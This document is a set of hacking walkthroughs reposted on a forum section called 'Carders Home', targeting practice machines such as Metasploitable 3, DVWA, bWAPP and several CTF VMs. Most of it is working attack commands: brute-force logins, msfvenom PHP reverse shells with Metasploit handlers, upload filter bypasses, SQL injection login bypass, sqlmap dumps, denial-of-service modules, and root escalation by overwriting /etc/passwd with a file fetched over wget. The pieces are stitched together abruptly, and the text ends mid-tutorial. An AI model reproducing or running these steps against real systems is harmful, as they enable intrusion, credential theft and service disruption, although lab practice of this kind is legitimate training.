msf auxiliary(glassfish_login) > set rhosts 192.168.1.14
msf auxiliary(glassfish_login) > set rport 4848
msf auxiliary(glassfish_login) > set STOP_ON_SUCCESS true
msf auxiliary(glassfish_login) > set user_file /root/Desktop/user.txt
msf auxiliary(glassfish_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(glassfish_login) >exploit
After few attempt successfully we have our login for GLASSFISH as admin: sploit
[Image: 3.png?w=687&ssl=1]
Let use this credential which we have got from metasploit and try to open target IP in browser as I am using: 192.168.1.14:4848/common/index.php
This URL gets open for administration console here it is asking for user and password login, now try to use admin: sploit as username and password respectively.
[Image: 4.png?w=687&ssl=1]
Through these credential we have breach admin console and got glassfish console and this page consist several common task.
[Image: 5.png?w=687&ssl=1]

Target: Metasploitable 3
Attacker: Kali Linux
Scan the target IP to know the Open ports for running services. I am using nmap command for scanning the target PC. Type the following command on terminal in kali Linux.
nmap –p- 192.168.1.14
As you can see it is showing multiple unknown open ports but we are not able to find running services on target IP.
[Image: 1.png?w=687&ssl=1]
Open target IP on browser with one of unknown port 8585 as 192.168.1.14:8585
[Image: 3.1.png?w=687&ssl=1]
Under this URL I have got directories like upload and word press lets penetrate inside it. Again type following URL on browser.
192.168.1.14:8585/uploads/
Now we are inside the upload directory but it is showing nothing special.
[Image: 3.png?w=687&ssl=1]
Since Nmap is fail to give complete detail about open ports therefore now I will scan again the target IP using NIKTO with open port for upload directory hence type following command on terminal
Nikto –h

[To see content please register here]


It’ll scan multiple ports on a server and checks for server configuration items such as the presence of multiple index files, HTTP server options.
it is showing that in upload directory HTTP method PUT allows client to save files on the web server which means I can upload a file on server and this stage could became the part of attack by uploading a malicious file as backdoor in web server.
[Image: 4.1.png?w=687&ssl=1]
Install poster plug-in from Firefox add-on. As poster let you perform HTTP request with parameters like: GET, POST, PUT and DELETE.
[Image: 4.png?w=687&ssl=1]
Prepare the malicious file that you would upload with msfvenom :
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.14 lport=4444 -f raw
Copy the code from <?php to die() and save it in a file with .php extension. I had save the backdoor as shel.php on desktop and will later browser this file through poster to upload on webserver.
[Image: 6.png?w=687&ssl=1]
Click on the tools from the menu bar. And then click on Poster from the drop down menu.
[Image: 8.1.png?w=687&ssl=1]
A following dialog box will open. Here, browse the file that you will upload and click on PUT option. This exploring will show you that PUT is allowed that means you can upload through it
[Image: 8.png?w=687&ssl=1]
It will show you that the file is uploaded and displays complete results including headers.
[Image: 9.png?w=687&ssl=1]
And you can see the same on your browser that you file will be uploaded (as in our case the file is shel.php)
[Image: 10.png?w=687&ssl=1]
Simultaneously, open metasploit and use multi/handler:
use multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.12
set lport 4444
exploit
After hitting enter button on your keyboard, run the file you just uploaded. It will give you a meterpreter session.
[Image: 11.png?w=687&ssl=1]

Zorz is another VM that will challenge your webapp skills. There are 3 separate challenges (web pages) on this machine. It should be pretty straight forward. This machine will probably test your web app skills once again. There are 3 different pages that should be focused on(you will see). Your goal is to successfully upload a web-shell or malicious file to the server.
This machine (zorz) does not runs on vmware. So, in case you are using your Kali Linux in vmware(for attacking), you will probably need to run Zorz on a different system in Virtual Box and of course in the same network.
You can download this machine from here:

[To see content please register here]


Penetration Methodolgies:
  • Network Scaning (Netdiscover, Nmap)
  • Exploting Each level of File Uploading vulnbility
  • Directory brute force attack (Dirb)
  • Obtain Netcat session for each level.
Walkthrough
Let’s start with our all time favourite netdiscover to get the victim machine’s IP.
netdiscover
1
netdiscover

[Image: 1.png?w=687&ssl=1]
So, our target is located on 192.168.1.8. Let’s quickly do an nmap scan to get an idea of open ports.
nmap -A 192.168.1.129
1
nmap -A 192.168.1.129

[Image: 2.png?w=687&ssl=1]
Ok, so we have port 22 and port 80 open. Let’s visit the IP on our browser.
[Image: 3.png?w=687&ssl=1]
And it opened up like a beautiful treasure! As you can see, according this web page “contact Support” here we can attached our file and can discuss our problem.
So, here is what we did.
Traverse to the directory: /usr/share/webshells/php/php-reverse-shell.php
Open it with text editor and add listening IP and port and save this file as php-reverse-shell.jpg and start netcat at listening port.
[Image: 4.png?w=687&ssl=1]
Next we try to upload this file and our shell gets uploaded successfully.
[Image: 5.png?w=687&ssl=1]
But we have no idea as to where our file gets uploaded on the server. In order to get the location/directory of our shell, we run dirb using the dictionary /usr/share/dirb/wordlists/big.txt
dirb

[To see content please register here]

/usr/share/dirb/wordlists/big.txt

1
dirb

[To see content please register here]

/usr/share/dirb/wordlists/big.txt

[Image: 6.png?w=687&ssl=1]
And we get to know of a directory named “uploads2”. Upon visiting this directory, we do not find our shell.php file there. Thus we try to manipulate the directory name and visit the directory”uploads1”. Click the php file to open it.
[Image: 7.png?w=687&ssl=1]
We have successfully exploited the level 1 security and we have a netcat session running right before us.
nc -lvp 1234
1
nc -lvp 1234

[Image: 8.png?w=687&ssl=1]
Now let’s go for the second level (Zorz Image Uploader 2) and try uploading the same file there.
[Image: 9.png?w=687&ssl=1]
But this time we got error, here we can upload only image with .jpg, png and GIF extension.
[Image: 10.png?w=687&ssl=1]
Time for some more tricks. Let us open the php-reverse-shell.php file in a text editor and just before our script, add the string “GIF98” and rename the file as “php-reverse-shell.php.jpg” and try to upload it once again.
[Image: 11.png?w=687&ssl=1]
And this time It got upload successfully !!!!!!!!!!!
[Image: 13.png?w=687&ssl=1]
Time to execute the backdoor and this time the location of our file is “uploads2”. Let’s open it.
[Image: 14.png?w=687&ssl=1]
As you can observe again we got new netcat session and compromised victim’s VM successfully.
nc -lvp 1234
1
nc -lvp 1234

[Image: 15.png?w=687&ssl=1]
Now for our final task, we open the third level (Zorz Image Uploader 3) in order to upload backdoor but here clearly Note is given for the file type you will be uploading. The uploading file should be an image with .jpeg, jpg and png extension and less than 100kb.
[Image: 16.png?w=687&ssl=1]
And without any edits to our “php-reverse-shell.php” file, we try uploading it here. The file uploads successfully once again. And this time the directory it has been uploaded to is uploads3.
[Image: 17.png?w=687&ssl=1]
Let’s visit /uploads3 directory to execute the uploaded backdoor and try to obtain netcat session once again.
[Image: 18.png?w=687&ssl=1]
As you can observe again we got new netcat session and compromised victim’s VM successfully.
nc -lvp 1234
Mission accomplished. We have successfully bypassed all the three levels of security on this machine.
[Image: 19.png?w=687&ssl=1]


  [Guide] How to Hack Metasploitable 3 using Mysql Service Exploitation
Posted by: NINZA - 04-25-2020, 04:58 AM - Forum: Carders Home - No Replies

Target: Metasploitable 3
Attacker: Kali Linux
Scan the target IP to know the Open ports for running services. Use nmap command for scanning the target PC. NMAP shown all available open ports and their services today this article will cover MYSQL attack for which it requires open port.
Type the following command on terminal in kali Linux.
nmap –p- -sV 192.168.0.103
And from nmap result we can see port 3306 is open for mysql.
[Image: 1.png?w=687&ssl=1]
Let’s penetrate more inside it, use nessus for vulnerability analysis. Through nessus scanning result it shows that MYSQL account is not password protected .when you suffer more you will find that directory gets open without password. In image the output result making conclusion that root account does not have password moreover it dumps the list of database on remote server. It also gave the hint that an attack can lunch attack on database.
[Image: 2.png?w=687&ssl=1]
Start metasploit framework by typing msfconsole on terminal in kali Linux when metasploit get loaded type given below command for mysql attack.
[Image: 3.png?w=687&ssl=1]
This module creates and enables a custom UDF (user defined function) on the target host via the SELECT … into DUMPFILE method of binary injection. On default Microsoft Windows installations of MySQL (=<5.5.9), directory write permissions not enforced, and the MySQL service runs as LocalSystem. NOTE: This module will leave a payload executable on the target system when the attack is finished, as well as the UDF DLL, and will define or redefine sys_eval() and sys_exec() functions.
msf > use exploit/windows/mysql/mysql_payload
msf exploit(mysql_payload) > set rhost 192.168.0.103
msf exploit(mysql_payload) > set rport 3306
msf exploit(mysql_payload) > exploit
Wonderful!!! Our meterpreter session is opened and you have got victim shell.
meterpreter> sysinfo
[Image: 4.png?w=687&ssl=1]
[Image: 5.png?w=687&ssl=1]

Target: Metasploitable 3
Attacker: Kali Linux
Scan the target IP to know the Open ports for running services. Use nmap command for scanning the victim PC. Type the following command on terminal in kali Linux to use aggressive scan.
nmap -p- -A 192.168.1.14
[Image: 0.png?w=687&ssl=1]
From the result of scan we found that port 3389 is open for remote desktop service and under open port 80 http server header is configured with Microsoft IIS 7.5
As we know port 3389 is badly affected with Dos attack moreover Microsoft IIS 7.5 has Classic ASP configured (it allows serving .asp files).There is a password protected directory configured that has administrative asp scripts inside. An attacker requests the directory with: $i30:$INDEX_ALLOCATION appended to the directory name IIS/7.5 gracefully executes the ASP script without asking for proper credentials.

[To see content please register here]


Use Nessus tool to scan the vulnerabilities of target Pc. Form vulnerabilities scanning result it shows two high vulnerabilities for exploit.
[Image: 1.png?w=687&ssl=1]
Start metasploit framework by typing msfconsole on terminal in kali Linux when metasploit get loaded type following command for Dos attack.
This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code execution. This module will try to cause a denial-of-service.
msf > use auxiliary/dos/http/ms15_034_ulonglongadd
msf auxiliary(ms15_034_ulonglongadd) >set rhosts 192.168.1.14
msf auxiliary(ms15_034_ulonglongadd) >exploit
[Image: 3.png?w=687&ssl=1]
[Image: 4.png?w=687&ssl=1]
In same way we’ll create Dos attack through RDP connection for port 3389 using another module.
This module exploits the MS12-020 RDP vulnerability originally discovered and reported by Luigi Auriemma. The flaw can be found in the way the T.125 Connect MCSPDU packet is handled in the maxChannelIDs field, which will result an invalid pointer being used, therefore causing a denial-of-service condition.
msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) >set rhost 192.168.1.14
msf auxiliary(ms12_020_maxchannelids) >set rport 3389
msf auxiliary(ms12_020_maxchannelids) >exploit
[Image: 5.png?w=687&ssl=1]
[Image: 6.png?w=687&ssl=1]

Target: Metasploitable 3
Attacker: Kali Linux
Scan the target IP to know the Open ports for running services. I am using nmap command for scanning the target PC. NMAP shown all available open ports and their services today this article will cover SMB login attack for which it requires open SMB port.
Type the following command on terminal in kali Linux.
nmap –p- -A 192.168.1.11
[Image: 0.png?w=687&ssl=1]
In previous article it’s about SSH Login attack read from

[To see content please register here]

.

Luckily!!! In Metasploit3 port 445 is open for SMB service mainly used for providing shared access to files, printers, and serial ports and miscellaneous communications between server and client on a network.
Now it is necessary to create a dictionary file to exploit it. To make a dictionary file type the following command:
cewl

[To see content please register here]

-m 7 -d 0 –w /root/Desktop/pass.txt

CeWL is a customized wordlist generator that sticks to just the site you have specified and will go to a depth of 2 links and returns a list of words which can then be used for password crackers such as John the Ripper.
[Image: 1.png?w=687&ssl=1]
Start metasploit framework by typing msfconsole on terminal in kali Linux.
This module will test SMB logins on a range of machines and report successful logins. If you have loaded a database plug-in and connected to a database this module will record successful logins and hosts so you can track your access.
Type following command under msfconsole
use auxiliary/scanner/smb/smb_login
msf auxiliary (smb_login)>set rhosts 192.168.1.11
msf auxiliary (smb_login)>set rport 445
msf auxiliary (smb_login)>set smbuser vagrant
msf auxiliary (smb_login)>set pass_file /root/Desktop/pass.txt
msf auxiliary (smb_login)>set stop_on_success true
msf auxiliary (smb_login)> exploit
This exploit will start brute force attack to match the valid authentication and give green sign when founds the correct credential for SMB login.
Our attack is successful and we have got valid login vagrant: vagrant as username and password.
[Image: 3.png?w=687&ssl=1]
This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the “psexec” utility provided by SysInternals. This module is now able to clean up after itself. The service created by this tool uses a randomly chosen name and description.
Hence using above credential this exploit will try to provide the meterperter shell.
Type following command to use this module for attack.
msf> use exploit/windows/smb/psexec
msf exploit (psexec)>set rhosts 192.168.1.11
msf exploit (psexec)>set rport 445
msf exploit (psexec)>set smbuser vagrant
msf exploit (psexec)>set smbpass vargrant
msf exploit (psexec)> exploit
Wonderful!!! Our meterpreter session 1 is opened and you have got victim shell.
meterpreter> sysinfo
[Image: 4.png?w=687&ssl=1]

Target: Metasploitable 3
Attacker: Kali Linux
Scan the target IP to know the Open ports for running services. I am using nmap command for scanning the target PC. Type the following command on terminal in kali Linux.
nmap –p- -sV 192.168.1.8
[Image: 1.png?w=687&ssl=1]
In previous article it’s about FTP Login attack read from

[To see content please register here]

.

So here you can see all available open ports and their services today this article will cover SSH login attack for which we required open SSH port luckily in Metasploit3 open 22 is open for SSH service So let’s exploit it for this we need a dictionary file. To make a dictionary file type the following command:
cewl

[To see content please register here]

-m 7 -d 0 –w /root/Desktop/dict.txt

CeWL is a command used to make a customized wordlist using a given URL. Using the above command will make a dictionary file from the Wikipedia of metasploitable3 and might help us to find our password.
[Image: 2.png?w=687&ssl=1]
Collect the wordlist from CeWL,
Start Metasploit framework by typing msfconsole on the terminal.
[Image: 3.1.png?w=687&ssl=1]
This module will test ssh logins on a range of machines and report successful logins If you have loaded a database plug-in and connected to a database this module will record successful logins and hosts so you can track your access.
use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login)>set rhosts 192.168.1.8
msf auxiliary (ssh_login)>set port 22
msf auxiliary (ssh_login)>set username vagrant
msf auxiliary(ssh_login)>set pass_file /root/Desktop/pass.txt
msf auxiliary(ssh_login)>set stop_on_success true
msf auxiliary (ssh_login)> exploit
[Image: 3.png?w=687&ssl=1]
This’ll dump the credential as the username: vagrant and password: vagrant successful login for SSH connection moreover provides the session for victim’s shell.
[Image: 4.png?w=687&ssl=1]


  [Guide] How to Hack Metasploitable 3 using Elasticsearch Exploit
Posted by: NINZA - 04-25-2020, 04:56 AM - Forum: Carders Home - No Replies

Elastic search is a distributed REST search engine used in companies for analytic search. And so we will learn how to exploit our victim through it. Start off by nmap.
nmap –p- -A 192.168.1.8
[Image: 1.png?w=687&ssl=1]
Nmap shows a splendid result and in that result you can see that HHTP service going on 9200 which is using elasticseatch REST. Let’s search it exploit on google.
[Image: 2.png?w=687&ssl=1]
YES! We have an exploit for that. Let’s use it to our advantage.
[Image: 3.png?w=687&ssl=1]
To use this exploit go to Metasploit and type:
use exploit/multi/elasticsearch/script_mvel_rce
msf exploit (script_mvel_rce)>set rhost 192.168.1.8
msf exploit (script_mvel_rce)>set rport 9200
msf exploit (script_mvel_rce)>exploit
[Image: 4.png?w=687&ssl=1]

Metasploitable3 is a VM that is built from the ground up with a large number of security vulnerabilities. It is intended to be used as a target for testing exploits with Metasploit, hence to brush up our Metasploit skills.
We already know that our target is metasploitable 3 so there is no point to discover our target. So, let’s straight move up to nmap scan.
nmap –p- -sV 192.168.1.8
[Image: 1.png?w=687&ssl=1]
We can see that FTP port is open so we can exploit it and for doing so we need a dictionary file through which we can successfully attack. To make a dictionary file type the following command :
cewl

[To see content please register here]

-m 7 -d 0 –w /root/Desktop/dict.txt
CeWL is a command used to make a customized wordlist using a given URL. Using the above command will make a dictionary file from the Wikipedia of metasploitable3 and might help us to find our password.
[Image: 2.png?w=687&ssl=1]
After generating the wordlist through CeWL, open Metasploit by typing msfconsole on the terminal of your Kali.
[Image: 3.1.png?w=687&ssl=1]
And then type:
use auxiliary/scanner/ftp/ftp_login
msf exploit (ftp_login)>set username vagrant
msf exploit (ftp_login)>set rhosts 192.168.1.8
msf exploit (ftp_login)>set pass_file /root/Desktop/pass.txt
msf exploit (ftp_login)>set stop_on_success true
msf exploit (ftp_login)> exploit
[Image: 3.png?w=687&ssl=1]
Above used exploit will give you a correct password to go with the username. Once you have got it then open the WinScp software, give the target’s IP and the port number along with the username: vagrant and password: vagrant
[Image: 4.png?w=687&ssl=1]
Then click on the Login button. After logging in you can find you the files on the FTP server and you can use them to your advantage.
[Image: 5.png?w=687&ssl=1]
This is how you can use FTP port to log in to your victim’s PC. Enjoy!

File upload vulnerability are a major problem with web based applications. In many web server this vulnerability depend entirely on purpose that allows an attacker to upload a file hiding malicious code inside that can then be executed on the server. An attacker might be able to put a phishing page into the website or deface the website.
Attacker may reveal internal information of web server to other and some chances to sensitive data might be informal, by unauthorized people.
In DVWA the webpage allows user to upload an image, and the webpage go through with program coding and checks if the last characters of the file is ‘.jpg’ or ‘.jpeg’ or ’.png’ before allowing the image get uploaded in directory.
Requirement:
Xampp/Wamp Server
DVWA Lab
Kali Linux: Burp suite, metasploit framework
DVWA lab in your XAMPP or WAMP server, read full article from

[To see content please register here]


Now open the DVWA in your browser with your local IP as 192.168.1.102:81/DVWA and login with following credentials:
Username – admin
Password – password
Bypass Low Level Security
Click on DVWA Security and set Website Security Level low
[Image: 1.png?w=687&ssl=1]
Open terminal in kali linux and create php backdoor through following command
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.104 lport=3333 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.104 lport=3333 -f raw

Copy and paste the highlighted code in leafnod and save as with PHP extension as hack.php on the desktop.
[Image: 2.png?w=687&ssl=1]
Come back to your DVWA lab and click to file upload option from vulnerability menu.
Now click to browse button to browse hack.php file to upload it on web server and click on upload which will upload your file in directory of server.
[Image: 3.png?w=687&ssl=1]
After uploading a PHP file it will show the path of directory where your file is successfully uploaded now copy the selected part and past it in URL to execute it.
hackable/uploads/hack.php
[Image: 4.png?w=687&ssl=1]
Before executing this URL on browser start and run multi handler in metasploit framework using below command. While the multi handler will run execute the below URL of PHP file in browser. This’ll provide you a meterpreter session 1.
192.168.1.102:81/DVWA/hackable/uploads/hack.php
[Image: 5.png?w=687&ssl=1]
msf > use multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.104
msf exploit(handler) > set lport 3333
msf exploit(handler) > run
meterpreter > sysinfo

1
2
3
4
5
6

msf > use multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.104
msf exploit(handler) > set lport 3333
msf exploit(handler) > run
meterpreter > sysinfo

[Image: 6.png?w=687&ssl=1]
Bypass Medium Level Security
Click on DVWA Security and set Website Security Level medium
[Image: 7.png?w=687&ssl=1]
Same process to create php backdoor.
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.104 lport=3333 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.104 lport=3333 -f raw

Now Save the selected code as raj.php.jpeg on desktop. Since this file will get upload in medium security which is little different from low security as this will apparently check the extension of file.
[Image: 8.png?w=687&ssl=1]
Come back to your DVWA lab and click to file upload option from vulnerability menu.
Again click to browse button to browse raj.php.jpeg file to upload it. Now start burp suit and make intercept on under proxy tab. Don’t forget to set manual proxy of your browser and click on upload.
[Image: 9.1.png?w=687&ssl=1]
Intercept tab will work to catch post method when you click to upload button. Now convert raj.php.jpeg into raj.php
[Image: 9.png?w=687&ssl=1]
Compare the change before uploading your PHP file. After altering click on forward to upload PHP file in directory.
[Image: 10.png?w=687&ssl=1]
This will show the path of uploaded file of the directory where file is successfully uploaded.
hackable/uploads/raj.php
[Image: 11.png?w=687&ssl=1]
Now repeat the whole process same as in low security to execute PHP file in URL.
192.168.1.102:81/DVWA/hackable/uploads/raj.php
[Image: 12.png?w=687&ssl=1]
This’ll provide a meterpreter session 2 when you run URL in browser.
meterpreter > sysinfo
[Image: 13.png?w=687&ssl=1]
Bypass High Level Security
Click on DVWA Security and set Website Security Level High
[Image: 14.png?w=687&ssl=1]
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.104 lport=3333 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.104 lport=3333 -f raw

[Image: 15.png?w=687&ssl=1]
Now Save the selected code as shell.jpeg on desktop. Since this file will get upload in high security which is little different from low and medium security as this will apparently check the extension of file as well as piece of code also therefore type GIF98 before PHP code and save as shell.jpeg.
[Image: 16.png?w=687&ssl=1]
Repeat the process to browse shell.jpeg
[Image: 17.1.png?w=687&ssl=1]
Again you will get directory path of uploaded file.
[Image: 17.png?w=687&ssl=1]
This PHP file cannot directly execute on URL as it uploaded with jpeg extension. For rename this file into PHP file click to command injection option from vulnerability. Here this vulnerability let you copy and rename this shell.jpeg into PHP file. Types following in text box which will copied and rename shell.jpeg into aa.php
| copy C:\xampp\htdocs\DVWA\hackable\uploads\shell.jpeg C:\xampp\htdocs\DVWA\hackable\uploads\aa.php
1
| copy C:\xampp\htdocs\DVWA\hackable\uploads\shell.jpeg C:\xampp\htdocs\DVWA\hackable\uploads\aa.php

[Image: 18.png?w=687&ssl=1]
When you will submit the command the PHP file get copied with new name as aa.php
[Image: 19.png?w=687&ssl=1]
Now repeat the process to execute PHP file in URL.
192.168.1.102:81/DVWA/hackable/uploads/aa.php
1
192.168.1.102:81/DVWA/hackable/uploads/aa.php

[Image: 20.1.png?w=687&ssl=1]
Wonderful!! Here we get meterpreter session 3 also.
meterpreter > sysinfo
[Image: 20.png?w=687&ssl=1]

Here we come with a new article which will all be about a penetration testing challenge called FRESHLY. The goal of this challenge is to break into the machine via the web and find the secret hidden in a sensitive file. It’s an easy lab. let’s get started with it and access it.
Download from here :

[To see content please register here]


Breaching Methodology
  • Network Scanning (Nmap)
  • Recon (Nikto)
  • Login Form Based SQL Injection
  • Abusing WordPress
  • Generate PHP Backdoor (Msfvenom)
  • Upload and execute a backdoor
  • Reverse connection (Metasploit)
  • Take root access
Let’s Start!!
So to start with it firstly we have to find out the IP of FRESHLY. For that type the netdiscover command in the terminal of Kali. It will show each IP present in our network.
Now we have target IP: 192.168.1.112 so let’s scan it with aggressive scan (-A).
nmap -p- -A 192.168.1.112
1
nmap -p- -A 192.168.1.112

[Image: 1.png?w=687&ssl=1]
This shows all open ports: 80, 8080, 443.
As we can see 80 port is open so we will open target IP in our browser to find out what’s in there as our next clue.
[Image: 2.png?w=687&ssl=1]
Next, we will apply the Nikto command to it. Nitko command will help us to gather information like its files and all the other major stuff that we ought to know about our target. So, therefore, type: Nikto -h [host URL].
[Image: 3.png?w=687&ssl=1]
After scanning it shows that there is a login.php page found. So open it in a browser with target IP
[Image: 4.png?w=687&ssl=1]
Since we don’t know the exact username and password, therefore, we have used SQLMAP for login form based injection for retrieving the database name and login credential by executing the following command.
sqlmap -u 'http://192.168.1.112/login.php' --forms --risk=3 --level=5 --dbs
1
sqlmap -u 'http://192.168.1.112/login.php' --forms --risk=3 --level=5 --dbs

[Image: 5.png?w=687&ssl=1]
From the sqlmap result, we came to that the name of the database could be“wordpress8080”, so now using sqlmap again fetch username and password from that database i.e. WordPress 8080
sqlmap -u 'http://192.168.1.112/login.php' --forms -D wordpress8080 --risk=3 --level=3 --dump-all
1
sqlmap -u 'http://192.168.1.112/login.php' --forms -D wordpress8080 --risk=3 --level=3 --dump-all

[Image: 6.png?w=687&ssl=1]
Alright, we have achieved our first step by finding out user and password for WordPress.
User = admin
Password = SuperSecretPassword

1
2

User = admin
Password = SuperSecretPassword

Earlier we have already found out our open ports so use one of not used ports to open in browser ie.8080
Cool…See what you have got…. Now click on this link and you are all set for the further result.
[Image: 7.png?w=687&ssl=1]
Candy goodness!!!!! It’s our WordPress page. So let’s get on to other steps by opening a WordPress login page and entering the credentials we found out i.e.
User= admin
Password= SuperSecretPassword

1
2

User= admin
Password= SuperSecretPassword

[Image: 8.png?w=687&ssl=1]
Once you have logged in, make the malicious file that you got to upload in it. Generate code through the msfvenom command:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.132 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.132 lport=4444 -f raw

Side by side in other terminal open Metasploit and run multi handler.
[Image: 9.png?w=687&ssl=1]
From generated php raw file copy the code from <?php to die(). As we want to read a file on the system, let’s put some PHP code in the theme: We go to Appearance -> themes -> 404.php and add some PHP code in order to execute it.
[Image: 10.png?w=687&ssl=1]
Meanwhile, return to the Metasploit terminal and wait for the meterpreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.132
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit

1
2
3
4
5

msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.132
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit

From given below image you can observe Meterpreter session1, now start penetrating for accessing root privilege. Then to access proper TTY shell we had import python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'

To get root access account credential reuse from the WordPress admin password SuperSecretPassword that allowed su – to escalate privileges.
[Image: 11.png?w=687&ssl=1]


  [Guide] How to Hack the Hackday Albania VM (CTF Challenge)
Posted by: NINZA - 04-25-2020, 04:54 AM - Forum: Carders Home - No Replies

Hello friends!! Today we are going to solve another CTF challenge “HackDay-Albania” which is presented by Vulnhub.com and designed by R-73eN for the beginners who want to practice OSCP lab challenges. You can download it from here:

[To see content please register here]


Level: Beginner to Intermediate
Task: Boot to Root
Penetration Methodologies
  • Network Scanning (Nmap, Netdiscover)
  • Use Robot.txt
  • Apply SQL Injection
  • Upload PHP reverse Shell
  • Get netcat session
  • Edit etc/passwd file
  • Get Root access and capture the Flag
Walkthrough
The first step is as always, running netdiscover on the VM to grab the IP address. In my case, the IP was 192.168.1.127.
[Image: 1.png?w=687&ssl=1]
Once the IP was found, we ran nmap aggressive scan to enumerate all the open ports.
nmap -A 192.168.1.127
1
nmap -A 192.168.1.127

[Image: 2.png?w=687&ssl=1]
Here you can observe that port 22 and 8008 are opened, also you can observe there is a robot.txt file in which 15 entries are allowed and 26 are disallowed.
Nmap result shows that our target is running http on port no.8008. So, we fire up our browser targeting. The message in the box translates to- “if I am, I know where to go Smile”
We try for some hint in the page-source and find a comment at the bottom “Ok ok, but not here.
[Image: 3.png?w=687&ssl=1]
Then I try some of the entries of the robot.txt list which I found from Nmap scanning result and fortunately by exploring /unisxcudkqjydw/ in the browser I got another directory name “/vulnbank/”.
[Image: 4.png?w=687&ssl=1]
So again I explore a new URL in that browser and found a client folder from inside the Index page,

[To see content please register here]


1

[To see content please register here]


[Image: 5.png?w=687&ssl=1]
Clicking on the /client directory, we are greeted by a login page of very secure bank But we don’t have login credential.
[Image: 6.png?w=687&ssl=1]
Therefore, I try SQL injections for username and password and luckily following parameters get matched.
Username: ' or 'a' = 'a' --
Password: #

1
2

Username: ' or 'a' = 'a' --
Password: #

[Image: 7.png?w=687&ssl=1]
And it opened up like a beautiful treasure! As you can see, according to this web page “contact Support” here we can attach our file and can discuss our problem.
So, here is what we did.
Traverse to the directory: /usr/share/webshells/php/php-reverse-shell.php
Open it with a text editor and add listening IP and port and save this file as php-reverse-shell.jpg and start netcat at listening port.
[Image: 8.png?w=687&ssl=1]
Then uploaded our PHP shell and execute to get a reverse connection at netcat.
[Image: 9.png?w=687&ssl=1]
nc -lvp 1234
1
nc -lvp 1234

From given below image you can observe netcat session. But the task is not finished yet, still, we need to penetrate more for privilege escalation. Then to access proper TTY shell we had import python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'

Then I check permission for passwd file and found that the file is writable.
ls -al /etc/passwd
1
ls -al /etc/passwd

[Image: 11.png?w=687&ssl=1]
So I open the file with cat command and select the copied whole content into a text file.
cat /etc/passwd
1
cat /etc/passwd

[Image: 12.png?w=687&ssl=1]
In a new terminal, we are using OpenSSL to make a new password hash combined salt value and password in MD5 algorithm. For this the below command is used:
openssl passwd -1 -salt ignite pass123
1
openssl passwd -1 -salt ignite pass123

Now copy this salt password and then open the text file where you copied /etc/passwd content.
[Image: 13.png?w=687&ssl=1]
Then we create a new entry for user “raj” and past above salt password. Also set UID and GID 0:0 for him to add him into root group member and save the file as passwd on the desktop. Now we have to transfer this file into victim’s machine so that we can replace it from original passwd file. Now run the web server on the Kali machine:
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80

[Image: 14.png?w=687&ssl=1]
Now download the newly modify passwd file inside /tmp directory and then copy the downloaded file into /etc/passwd which will overwrite the content of the original passwd file.
cd /tmp
wget

[To see content please register here]

cp passwd /etc/passwd

1
2
3

cd /tmp
wget

[To see content please register here]

cp passwd /etc/passwd

[Image: 15.png?w=687&ssl=1]
When you have done above said steps then switch to your new user and try to gain root access.
su raj
cd /root
ls
cat flag.txt

1
2
3
4

su raj
cd /root
ls
cat flag.txt

Wonderful!! We have gained access and capture the flag.

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.
This attack differs from Code Injection, in that code injection allows the attacker to add his own code that is then executed by the application. In Code Injection, the attacker extends the default functionality of the application without the necessity of executing system commands. Source:

[To see content please register here]

Requirement:
Xampp/Wamp Server
bWAPP Lab
Kali Linux: Burp suite, Commix tool
You need to install bWAPP lab in your XAMPP or WAMP server, for this you can visit the link web Pentest lab setup using bwapp

[To see content please register here]

.
Our task is to get meterpreter shell through os command injection-Blind attack using bWAPP
Start service Apache and Mysql in Xampp or Wamp server. Let’s open the local host address in browser as I am using 192.168.1.103:81/bWAPP/login.php. Enter user and password bee and bug respectively.
My task is to bypass all three security level in bWAPP through os command injection.
Let start!!!!
Set the security level low, from list box choose your bug select os command injection-Blind now and click on hack.
[Image: 1.png?w=687&ssl=1]
Type your IP in the text field and just after that start the burp suite in kali Linux. Don’t forget to set proxy in your browser while using the burp suite.
To capture the cookie of bWAPP click on proxy tag then click to inception is on button, come back to bWAPP and now click to PING button.
Look at image you will find that I have got the details.
[Image: 2.png?w=687&ssl=1]
Open the terminal in kali Linux and type the commix command.
From intercepted data under burp suite copy the referrer, cookie and target and use this in the following command
